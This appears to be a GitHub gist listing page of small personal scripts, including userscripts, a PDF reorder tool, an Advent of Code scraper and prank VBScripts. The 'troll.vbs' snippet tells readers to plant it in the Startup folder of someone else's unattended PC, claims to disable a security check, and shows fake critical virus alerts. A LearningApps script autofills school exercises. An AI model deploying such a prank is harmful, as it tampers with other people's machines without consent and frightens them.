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mvolfik / updates.vbs
Created December 7, 2018 11:17
Make computer look updating
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Dim objShell, strPath1, strAttr1
Set objShell = CreateObject ("WScript.Shell")
strPath1 = """C:\Program Files (x86)\Mozilla Firefox\firefox.exe"""
strAttr1 = "-P default"
objShell.Run strPath1 & strAttr1
WScript.sleep 1500
objshell.sendkeys "{F11}"
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// ==UserScript==
// @name Kahoot hotkeys
// @namespace
// @version 0.2
// @description take over the world!
// @author mvolfik
// @match*
// ==/UserScript==
(function() {
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// ==UserScript==
// @name Canvas tweaks
// @namespace
// @version 0.4
// @description Try to take over the world!
// @author matjey
// @match
// @downloadURL
// @grant GM_addStyle
// @grant unsafeWindow
mvolfik /
Last active January 24, 2021 18:33
Reorder pages of a PDF to allow printing as a brochure
import sys, subprocess, tempfile, os.path, warnings
A4 = (595, 842)
source = sys.argv[1]
target = sys.argv[2]
pages = None
page_size = None
mvolfik /
Created March 17, 2021 10:00
Keybase identity proof

Keybase proof

I hereby claim:

  • I am mvolfik on github.
  • I am mvolfik ( on keybase.
  • I have a public key ASDDaXK1Eg2w4eURSQ3GtP_eu8u4TFM637ckRfvRJg5GZgo

To claim this, I am signing this object:

mvolfik / learningapps.user.js
Created March 18, 2021 19:31
Userscript to solve exercises
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// ==UserScript==
// @name solver
// @namespace
// @version 0.1
// @description Add button to autofill
// @author Matěj Volf
// @match*/watch?id=*
// @downloadUrl
// @updateUrl
// @grant none
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mvolfik /
Created December 12, 2019 15:19
View timestamps when people solved specific task of Advent of Code
import json
from datetime import datetime as dt
import requests
import re
y = input("YEAR: ")
cookie = {'session': "YOUR SESSION COOKIE HERE (it's valid for 30 days)"}
homepage = requests.get(''+y+'/leaderboard/private', cookies=cookie)
for id in re.compile(r"(?<=\/"+y+r"\/leaderboard\/private\/view\/)(\d+)").findall(homepage.content.decode()):
data = json.loads(requests.get(''+y+'/leaderboard/private/view/'+id+'.json', cookies=cookie).content)
mvolfik / troll.vbs
Last active February 9, 2022 19:48
Windows trolling script
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Set WshShell = WScript.CreateObject("WScript.Shell")
strName = wshShell.ExpandEnvironmentStrings( "%USERNAME%" )
'If you find a Windows PC with user logged in, place this file in folder
' C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ (may vary with PC language)
' and run for first time to disable security check and Firefox default browser check
WScript.sleep 5000
msgbox "Critical: Your system is severely affected by multiple threats.. All processes are being aborted..."
msgbox "Sytem failure in %WINDIR%"